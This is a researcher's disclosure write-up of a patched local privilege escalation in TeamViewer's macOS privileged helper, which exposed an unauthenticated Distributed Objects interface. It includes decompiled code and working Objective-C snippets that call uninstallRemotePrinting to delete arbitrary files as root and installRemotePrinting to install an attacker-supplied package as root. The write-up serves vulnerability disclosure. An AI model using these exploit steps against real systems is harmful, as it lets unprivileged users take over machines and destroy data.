TeamViewer Local Privilege Escalation Vulnerability

Intro

This is a rather old vulnerability I found in TeamViewer back in 2020, and reported it through VCP/iDefense. TeamViewer fixed the vulnerability last November, but somehow I missed it, and became aware of it only recently. Their advisory can be found here: November updates - Security patches — TeamViewer Support

The TeamViewer macOS client used a PrivilegedHelperTool named com.teamviewer.Helper to perform specific tasks that require root permissions. Back in 2020 it used a deprecate model to perform IPC communication, called Distributed Objects. It was wide open, and any client could invoke the remote object’s functions, and some of those lead to direct privilege escalation.

The Distributed Objects interface

Apple’s developer document regarding Distributed Objects can be found here: Introduction to Distributed Objects Ian Beer from Google Project zero also talked about these: Project Zero: Revisiting Apple IPC: (1) Distributed Objects.

It’s somewhat similar to NSXPC on a very high level. Let’s see how we can identify and exploit it.

The PrivilegedHelperTool

If we decompile the EntryPoint of the helper tool we can spot that it uses this interface.

int EntryPoint(int arg0, int arg1, int arg2, int arg3) {
    rax = sub_10000612d();
    rax = [rax retain];
    r13 = rax;
    if (rax != 0x0) {
            r15 = [[NSConnection connectionWithReceivePort:r13 sendPort:0x0] retain];
            rax = [BlessedHelperDistantObject alloc];
            rax = [rax init];
            r12 = rax;
            [r15 setRootObject:rax];
            rax = [NSRunLoop currentRunLoop];
            rax = [rax retain];
            [rax run];
            rbx = 0x0;
            [rax release];
            [r12 release];
            [r15 release];
    }
    else {
            rbx = 0x1;
    }
    [r13 release];
    rax = rbx;
    return rax;
}

void sub_10000612d() {
    rax = launch_data_new_string("CheckIn");
    if (rax != 0x0) {
            r15 = rax;
            rax = launch_msg(rax);
            if (rax != 0x0) {
                    r14 = rax;
                    rax = launch_data_dict_lookup(rax, "Label");
                    if (rax != 0x0) {
                            r12 = launch_data_get_string(rax);
                    }
                    else {
                            r12 = 0x0;
                    }
                    rax = launch_data_dict_lookup(r14, "MachServices");
                    rbx = 0x0;
                    if (r12 != 0x0) {
                            rbx = 0x0;
                            if (rax != 0x0) {
                                    rax = launch_data_dict_lookup(rax, r12);
                                    if (rax != 0x0) {
                                            rax = launch_data_get_machport(rax);
                                            if (rax != 0x0) {
                                                    rbx = [[NSMachPort alloc] initWithMachPort:rax];
                                            }
                                            else {
                                                    rbx = 0x0;
                                            }
                                    }
                                    else {
                                            rbx = 0x0;
                                    }
                            }
                    }
                    launch_data_free(r14);
            }
            else {
                    rbx = 0x0;
            }
            launch_data_free(r15);
    }
    else {
            rbx = 0x0;
    }
    [rbx autorelease];
    return;
}

NSConnection is a clear indication, but the launch_data_* also a good hint towards this.

Based on the name, we can make an educated guess that the class responsible for the connection is BlessedHelperDistantObject. If we do a class-dump on the help tool, we can get the class interface.

@interface BlessedHelperDistantObject : NSObject <BlessedHelperProxy>
{
    struct AuthorizationOpaqueRef *_authorization;
}

@property(nonatomic) struct AuthorizationOpaqueRef *authorization; // @synthesize authorization=_authorization;
- (void)uninstallRemotePrinting:(id)arg1;
- (BOOL)installRemotePrinting:(id)arg1;
- (void)configureTestMaster:(id)arg1;
- (void)deleteAuthPlugin;
- (BOOL)helperSignatureMatchesSignatureOfBundleAtURL:(id)arg1 helperName:(id)arg2;
- (struct __SecRequirement *)copyOwnRequirementForHelperName:(id)arg1;
- (void)uninstall:(id)arg1;
- (void)writeLaunchdPropertyLists:(id)arg1;
- (void)deleteTVinOverridesPlist:(id)arg1;
- (void)loadDaemon:(id)arg1;
- (BOOL)run:(id)arg1;
- (void)terminate;
- (BOOL)runWithArguments:(id)arg1 helperName:(id)arg2;
- (BOOL)needsUpdate:(id)arg1 helperName:(id)arg2;
@property(readonly, copy, nonatomic) NSString *version;
- (void)dealloc;
- (id)init;

// Remaining properties
@property(readonly, copy) NSString *debugDescription;
@property(readonly, copy) NSString *description;
@property(readonly) unsigned long long hash;
@property(readonly) Class superclass;

@end

There are quite a few interesting methods, but we will focus on installRemotePrinting and uninstallRemotePrinting. Unfortunately we don’t get an indication of the passed arguments from the class-dump.

uninstallRemotePrinting - Arbitrary file deletion

Let’s inspect uninstallRemotePrinting first.

/* @class BlessedHelperDistantObject */
-(void)uninstallRemotePrinting:(void *)arg2 {
    system([objc_retainAutorelease([[NSString stringWithFormat:@"rm -rf '%@'", [[[[arg2 stringArguments] retain] remotePrintingPPDPath] retain]] retain]) UTF8String]);
    [rax release];
    [rax release];
    r14 = [[rax remotePrintingFilterPath] retain];
    system([objc_retainAutorelease([[NSString stringWithFormat:@"rm -rf '%@'", r14] retain]) UTF8String]);
    [rax release];
    [r14 release];
    system([objc_retainAutorelease([[NSString stringWithFormat:@"rm -rf '%@'", [[rax remotePrintingPrinterIconPath] retain]] retain]) UTF8String]);
    [rax release];
    [rax release];
    system([objc_retainAutorelease([[NSString stringWithFormat:@"rm -rf '%@'", [[rax remotePrintingDatabasePath] retain]] retain]) UTF8String]);
    [rax release];
    [rax release];
    [rax release];
    return;
}

We find that it will run four system commands based on the argument we pass in, and it will delete four files or directories. The argument we pass should have a stringArguments property, which will also have a remotePrintingPPDPath property. Inspecting the class-dump, we can find the class with this property.

@interface HelperArguments : NSObject <NSCopying, NSCoding>
{
(...)
    NSString *_bundlePath;
    NSString *_processLockName;
    HelperStringArguments *_stringArguments;
    TestMasterConfiguration *_testMasterConfig;
    NSString *_appPath;
}

Based on this we can conclude that the main object that is being sent via the connection is the HelperArguments which has astringArguments property of the class type HelperStringArguments. We can find that class also in the class-dump.

@interface HelperStringArguments : NSObject <NSCopying, NSCoding>
{
(...)
    NSString *_remotePrintingInstallPkgName;
    NSString *_remotePrintingPPDPath;
    NSString *_remotePrintingFilterPath;
    NSString *_remotePrintingPrinterIconPath;
    NSString *_remotePrintingDatabasePath;
(...)
}

That class has a remotePrintingPPDPath property along with plenty of other NSString objects.

To exploit this method we need to implement these classes, and create an object and setup their properties. This is shown below.

   //setup parameters
    HelperStringArguments * hsa = [HelperStringArguments new];
     //uninstallRemotePrinting will use these 4, any file specified here will be deleted
    hsa.remotePrintingPPDPath = @"/Library/a.txt";
    hsa.remotePrintingDatabasePath = @"/Library/b.txt";
    hsa.remotePrintingPrinterIconPath= @"/Library/c.txt";
    hsa.remotePrintingFilterPath = @"/Library/d.txt";
     
    //we create our object
    HelperArguments * helperargs = [[HelperArguments alloc] init];

    //we need to embed HelperStringArguments
    helperargs.stringArguments = hsa;

To connect to the remote helper is fairly simple.

    NSConnection *c = [NSConnection connectionWithRegisteredName:@"com.teamviewer.Helper" host:nil];
    BlessedHelperDistantObject *proxy = (BlessedHelperDistantObject *)[c rootProxy];
    [proxy uninstallRemotePrinting:helperargs];

We create an NSConnection and then call the remote methods. The files we specify above will be deleted.

installRemotePrinting - user to root privilege escalation

The installRemotePrinting: method allows us to escalate our privileges to root. It’s shown below.

/* @class BlessedHelperDistantObject */
-(char)installRemotePrinting:(void *)arg2 {
    r15 = [arg2 retain];
    r13 = [[arg2 stringArguments] retain];
    rbx = [[arg2 bundlePath] retain];
    [r15 release];
    r15 = [[rbx stringByAppendingPathComponent:@"Contents/Resources"] retain];
    [rbx release];
    var_38 = r13;
    rax = [r13 remotePrintingInstallPkgName];
    rax = [rax retain];
    var_30 = r15;
    r12 = [[r15 stringByAppendingPathComponent:rax] retain];
    [rax release];
    rax = [NSFileManager defaultManager];
    rax = [rax retain];
    r13 = [rax fileExistsAtPath:r12];
    [rax release];
    if (r13 != 0x0) {
            system([objc_retainAutorelease([[NSString stringWithFormat:@"installer -pkg '%@' -target /", r12] retain]) UTF8String]);
            [rax release];
            r14 = 0x1;
    }
    else {
            r14 = 0x0;
    }
    [r12 release];
    [var_30 release];
    [var_38 release];
    rax = r14 & 0xff;
    return rax;
}

This function is slightly more complicated. It again expects a HelperArguments object. It will take its stringArguments as well as the bundlePath property. It will append Contents/Resources to the path found in bundlePath and append to that the remotePrintingInstallPkgName taken from the stringArguments. Once it has the full path it will install it via the installer command line.

In this case we need to setup our objects as follows.

   //setup parameters
    HelperStringArguments * hsa = [HelperStringArguments new];
     
     //this is the name of the package that will be installed by installRemotePrinting
    hsa.remotePrintingInstallPkgName = @"my_package.pkg";

    //we create our object
    HelperArguments * helperargs = [[HelperArguments alloc] init];

    //installRemotePrinting will use this path to locate the package named above
    //package will need to be inside /Contents/Resources/
    helperargs.bundlePath = @"/tmp/pkg.app";
    //we need to embed HelperStringArguments
    helperargs.stringArguments = hsa;

And we will need to place a package file in /tmp/pkg.app/Contents/Resources/my_package.pkg.

Full exploit code is available here: TeamViewer LPE exploit · GitHub

Fix

TeamViewer rewrote their entire privileged helper from scratch, and now they use XPC, use audit tokens to verify clients and also make it in a secure way.